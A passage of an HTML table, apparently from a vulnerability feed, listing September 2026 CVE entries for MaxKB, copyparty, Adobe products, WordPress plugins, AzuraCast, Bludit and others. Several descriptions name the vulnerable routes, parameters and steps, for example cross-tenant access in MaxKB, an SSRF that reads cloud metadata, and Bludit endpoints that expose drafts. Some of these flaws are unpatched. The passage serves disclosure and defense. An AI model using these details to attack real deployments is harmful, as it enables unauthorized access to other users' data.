&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. From version 2.0.0 through 2.10.2-lts, document and paragraph operate routes authorize only knowledge_id in the request path, then query the target Document by document_id or Paragraph by paragraph_id without confirming that the object belongs to that knowledge base. A normal workspace user with a known victim document or paragraph UUID can use an attacker-owned knowledge-base path to read or modify content in another user&#039;s knowledge base. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77517&quot; target=&quot;_blank&quot;&gt;CVE-2026-77517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, a normal workspace user who knows another user&#039;s active MCP tool_id in the same workspace can retrieve the hidden tool through the tool-detail route because it does not apply the per-resource authorization used by the list route. The response includes Tool.code, which may contain MCP server configuration and headers, and an attacker who can create or edit an attacker-owned workflow can place the same foreign mcp_tool_id in a workflow mcp-node so workflow debug uses the owner&#039;s MCP configuration without verifying permission to use that tool. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77518&quot; target=&quot;_blank&quot;&gt;CVE-2026-77518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, the /chat/api/mcp authentication path looks up an ApplicationApiKey using only its secret and active status, without enforcing the is_permanent and expire_time checks used by the standard chat API. A previously valid, non-permanent application key that remains active after expiration can initialize the MCP endpoint, list the published application&#039;s tool metadata, invoke tools/call, and create durable application_chat and application_chat_record state even though /chat/api/open rejects the same key. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77519&quot; target=&quot;_blank&quot;&gt;CVE-2026-77519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, a normal user in the same workspace can obtain another user&#039;s application_id from the homepage application question-ranking endpoint when the published victim application has ranking activity in the selected date range and the attacker knows or guesses its name, even though direct application detail and debug-open routes deny access. An attacker who can create and publish a workflow application can place the disclosed identifier in an attacker-owned workflow application-node, trigger that workflow, receive output generated by the victim application, and create durable application_chat and application_chat_record rows under the victim application because save and runtime paths do not verify permission to use the referenced application. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77520&quot; target=&quot;_blank&quot;&gt;CVE-2026-77520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. In version 2.10.3-lts and earlier, the knowledge web-document import and synchronization crawler passes an authenticated workspace user&#039;s URL to Fork.fork, which calls requests.get with verify=False and without restricting schemes, loopback, link-local, private, or reserved addresses. The response body is converted into imported document content, allowing a low-privileged user to read cloud metadata or internal HTTP services through the MaxKB server. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77522&quot; target=&quot;_blank&quot;&gt;CVE-2026-77522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, management chat-record routes authorize the path application_id but load records using global chat_id and chat_record_id values without confirming that the chat belongs to the authorized application. A normal user in the same workspace who knows the chat_id of a persisted non-debug record for a victim&#039;s published application can place it under a separate attacker-owned application path to read victim chat records. An attacker with an owned knowledge base and document can also use add_knowledge to copy victim answers while updating the victim record&#039;s improve_paragraph_id_list. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77525&quot; target=&quot;_blank&quot;&gt;CVE-2026-77525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;9001--copyparty&lt;/td&gt;
&lt;td&gt;copyparty contains a volume restriction bypass vulnerability in its SFTP front end that allows authenticated SFTP users to create, remove, and truncate arbitrary paths outside permitted volume boundaries by exploiting three handlers that bypass the xvol volflag enforcement. The _mkdir, _rmdir, and _chattr handlers construct destination paths using vfs.get(), vn.canonical(), and os.path.join() without invoking the chk_ap access check, enabling attackers to traverse symlinks leaving a volume&#039;s top directory and perform unauthorized file creation, deletion, or truncation via SSH_FXP_SETSTAT operations on paths outside any volume the account is authorized to access.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93353&quot; target=&quot;_blank&quot;&gt;CVE-2026-93353&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Abis Technology Ltd. Co.--AVESS&lt;/td&gt;
&lt;td&gt;URL redirection to untrusted site (&#039;open redirect&#039;) vulnerability in Abis Technology Ltd. Co. AVESÄ°S allows Input Data Manipulation. This issue affects AVESÄ°S: from 202608201331 before 202608240351.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80444&quot; target=&quot;_blank&quot;&gt;CVE-2026-80444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AdithyaYelloju--Restaurant-Management-System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. Affected by this issue is the function mysqli_query of the file admin/display_menu.php of the component Search Form. This manipulation of the argument s1 causes sql injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95868&quot; target=&quot;_blank&quot;&gt;CVE-2026-95868&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Bridge&lt;/td&gt;
&lt;td&gt;Bridge is affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75656&quot; target=&quot;_blank&quot;&gt;CVE-2026-75656&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Connect&lt;/td&gt;
&lt;td&gt;Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48361&quot; target=&quot;_blank&quot;&gt;CVE-2026-48361&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Connect&lt;/td&gt;
&lt;td&gt;Adobe Connect is affected by an Improper Certificate Validation vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to disclose sensitive information. Exploitation of this issue does not require user interaction.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83964&quot; target=&quot;_blank&quot;&gt;CVE-2026-83964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Content Credentials Rust SDK&lt;/td&gt;
&lt;td&gt;CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75638&quot; target=&quot;_blank&quot;&gt;CVE-2026-75638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Content Credentials Rust SDK&lt;/td&gt;
&lt;td&gt;CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75633&quot; target=&quot;_blank&quot;&gt;CVE-2026-75633&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Content Credentials Rust SDK&lt;/td&gt;
&lt;td&gt;CAI Content Credentials is affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89277&quot; target=&quot;_blank&quot;&gt;CVE-2026-89277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Content Credentials Rust SDK&lt;/td&gt;
&lt;td&gt;CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized limited write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75634&quot; target=&quot;_blank&quot;&gt;CVE-2026-75634&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Content Credentials Rust SDK&lt;/td&gt;
&lt;td&gt;CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized limited write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76194&quot; target=&quot;_blank&quot;&gt;CVE-2026-76194&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--InDesign Desktop&lt;/td&gt;
&lt;td&gt;InDesign Desktop is affected by a NULL Pointer Dereference vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76192&quot; target=&quot;_blank&quot;&gt;CVE-2026-76192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--InDesign Desktop&lt;/td&gt;
&lt;td&gt;InDesign Desktop is affected by a NULL Pointer Dereference vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84396&quot; target=&quot;_blank&quot;&gt;CVE-2026-84396&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ajay--Contextual Related Posts&lt;/td&gt;
&lt;td&gt;The Contextual Related Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;other_attributes&#039; Block Parameter in all versions up to, and including, 4.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85653&quot; target=&quot;_blank&quot;&gt;CVE-2026-85653&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;alexei--sprintf-js&lt;/td&gt;
&lt;td&gt;sprintf-js through 1.1.3 passes unbounded precision specifiers to toFixed, toExponential, and toPrecision methods without validation, causing uncaught RangeError exceptions. Attackers who control format strings can inject precision values exceeding ECMAScript limits to abort calling operations with minimal payload.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97058&quot; target=&quot;_blank&quot;&gt;CVE-2026-97058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;alexvtn--Custom Thank You Page for WooCommerce&lt;/td&gt;
&lt;td&gt;The Custom Thank You Page for WooCommerce plugin for WordPress is vulnerable to unauthorized access and loss of data due to a missing capability check on the save_option() function in all versions up to, and including, 1.1.2. This makes it possible for unauthenticated attackers to to export or reset(delete) the plugin&#039;s settings.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4806&quot; target=&quot;_blank&quot;&gt;CVE-2026-4806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;allterraindeveloper--OpenStation: Desktop Windows, Dock &amp;amp; Virtual Desktops for WP Admin&lt;/td&gt;
&lt;td&gt;The OpenStation - Desktop Windows, Dock &amp;amp; Virtual Desktops for WP Admin plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with custom-level access and above, to read the title, status, date, permalink, and a 300-character content excerpt of any private, draft, pending, or future post, as well as the content and AI-moderation verdicts of unapproved and spam comments. Any authenticated user with the &#039;read&#039; capability can self-enable the required AI feature by visiting the /openstation/ portal and toggling their own ai.enabled setting via the POST /desktop-mode/v1/os-settings endpoint, removing any practical barrier to exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19775&quot; target=&quot;_blank&quot;&gt;CVE-2026-19775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ALSA Project--alsa-lib&lt;/td&gt;
&lt;td&gt;alsa-lib through 1.2.16.1 computes combined topology element size using 32-bit arithmetic in src/topology/ctl.c, allowing integer overflow that defeats bounds checks. Attackers can supply crafted topology files that wrap size calculations, causing the decoder to read beyond the topology buffer and potentially leak sensitive data or crash the application.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96674&quot; target=&quot;_blank&quot;&gt;CVE-2026-96674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;amir20--dozzle&lt;/td&gt;
&lt;td&gt;Dozzle is a realtime log viewer for docker containers. Prior to 10.6.7, streamEvents in internal/web/events.go applies a restricted user&#039;s label filter to container lists but not to the container-stat and container-event channels returned by GET /api/events/stream. In a simple-auth deployment using per-user filters, any authenticated restricted account can receive resource telemetry and lifecycle events for containers outside its authorized label scope. The exposed data includes container names, images, full label maps, CPU and memory use, network and disk totals, and deployment or restart activity across monitored hosts, but does not include log contents, environment values, or exec access. This issue is fixed in version 10.6.7.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62286&quot; target=&quot;_blank&quot;&gt;CVE-2026-62286&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;amirsanni--Mini-Inventory-and-Sales-Management-System&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in amirsanni Mini-Inventory-and-Sales-Management-System up to 81bf0b55f5933f3b0dbb1583204a612e06605b95. The impacted element is the function order_by of the file DB_query_builder.php of the component Database Query Builder. Performing a manipulation of the argument orderBy results in sql injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project maintainer confirms: &quot;I stopped maintaining that project for a while now, so I&#039;m not sure it&#039;s worth fixing.&quot; This vulnerability only affects products that are no longer supported by the maintainer.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100887&quot; target=&quot;_blank&quot;&gt;CVE-2026-100887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;anirbandutta9--College-Notes-Gallery&lt;/td&gt;
&lt;td&gt;A vulnerability was found in anirbandutta9 College-Notes-Gallery up to 8c1cf3d98f30982d069c88ca172612c001eb39f6. Affected by this issue is some unknown functionality of the file /dashboard/userprofile.php?section=admin1. Performing a manipulation of the argument image results in unrestricted upload. It is possible to initiate the attack remotely. The exploit has been made public and could be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95820&quot; target=&quot;_blank&quot;&gt;CVE-2026-95820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AppMySite--AppMySite&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in AppMySite &amp;lt;= 3.15.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94498&quot; target=&quot;_blank&quot;&gt;CVE-2026-94498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Araxis--Merge&lt;/td&gt;
&lt;td&gt;Araxis Merge for Windows version 2011.4074 through 2026.0 stores user-configured credentials for remote servers in the Windows registry and does not apply sufficient cryptographic protection. An authenticated, non-administrative attacker could retrieve and unencrypt all credentials the target user has stored in Merge.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92680&quot; target=&quot;_blank&quot;&gt;CVE-2026-92680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aureuserp--aureuserp&lt;/td&gt;
&lt;td&gt;Aureus ERP before 1.6.0 contains a stored cross-site scripting vulnerability in the Chatter field-change log where old_value and new_value entries are rendered without proper escaping. Any user permitted to edit tracked text fields can inject malicious markup that executes when other users, including administrators, view the record&#039;s Chatter panel.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94387&quot; target=&quot;_blank&quot;&gt;CVE-2026-94387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Automatic.css--Automatic.css&lt;/td&gt;
&lt;td&gt;The Automatic.css plugin for WordPress is vulnerable to Stored Cross-Site Scripting via REQUEST_URI in all version 4.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that will execute whenever an administrator accesses the Activity Log settings page.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15273&quot; target=&quot;_blank&quot;&gt;CVE-2026-15273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Autonomy Logic--OpenPLC Runtime&lt;/td&gt;
&lt;td&gt;Autonomy Logic OpenPLC 3&amp;nbsp;is susceptible to an improper neutralization of input during web page generation vulnerability when the web interface attempts to route the program based on a query string parameter with no encoding.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88020&quot; target=&quot;_blank&quot;&gt;CVE-2026-88020&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;AzuraCast before 0.23.6 lacks RequireInternalConnection middleware on the Liquidsoap API endpoint and incorrectly derives the AutoDJ flag from header presence rather than validated value. Users with View station permission can inject arbitrary now-playing metadata, disrupt live broadcasts, and disclose filesystem paths.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100854&quot; target=&quot;_blank&quot;&gt;CVE-2026-100854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;AzuraCast before 0.23.6 contains a missing permission check vulnerability in the GET /api/station/{station_id}/file/{id}/play endpoint that allows authenticated users to download media files from any station. Attackers can enumerate media files using sequential IDs and exfiltrate the complete media library of stations they lack permissions for.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100855&quot; target=&quot;_blank&quot;&gt;CVE-2026-100855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;In AzuraCast before 0.23.8, the public On-Demand download endpoint fails to verify playlist-level access controls, allowing unauthenticated users to download media files excluded from On-Demand-enabled playlists. Attackers can bypass the station operator&#039;s intended access restrictions by directly requesting media via the download endpoint using valid media identifiers, exposing private or restricted audio content.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100853&quot; target=&quot;_blank&quot;&gt;CVE-2026-100853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bilal Naseer--WSP MCP AI Agents Connector&lt;/td&gt;
&lt;td&gt;Contributor Broken Access Control in WSP MCP &amp;amp;#8211; AI Agents Connector &amp;lt;= 2.7.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93529&quot; target=&quot;_blank&quot;&gt;CVE-2026-93529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;blackcandy-org--Black Candy&lt;/td&gt;
&lt;td&gt;Black Candy through 3.2.1 fails to scope playlist search queries to the authenticated session user, allowing any authenticated user to enumerate all playlists on the instance. Attackers can query the SearchController or Search::PlaylistsController endpoints with blank or targeted search parameters to retrieve playlist names belonging to other users without authorization.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97061&quot; target=&quot;_blank&quot;&gt;CVE-2026-97061&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bludit--Bludit CMS&lt;/td&gt;
&lt;td&gt;Bludit CMS through 3.22.0 contains a missing authorization vulnerability that allows authenticated users holding the Author or Editor role to read the full content of private drafts and scheduled posts belonging to any other user, including administrators, by exploiting the content-get-list AJAX endpoint in bl-kernel/ajax/content-get-list.php. Attackers can send an authenticated GET request to the admin AJAX endpoint with the draft parameter set to true, triggering getList() without ownership constraints and returning serialized page objects site-wide, exposing pre-publication material and sensitive notes stored in administrator-owned drafts.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93365&quot; target=&quot;_blank&quot;&gt;CVE-2026-93365&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bludit--Bludit CMS&lt;/td&gt;
&lt;td&gt;Bludit CMS through 3.22.0 contains an authorization bypass vulnerability that allows authenticated users with the Author role to enumerate and delete media files belonging to pages owned by other users, including administrators, by supplying arbitrary uuid parameters to unprotected AJAX endpoints. Attackers can retrieve page UUIDs for all users via the content-get-list endpoint and then submit crafted POST requests to the list-images and delete-image endpoints in bl-kernel/ajax/ to access and destroy media files outside their own pages, bypassing the IMAGE_RESTRICT isolation control.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
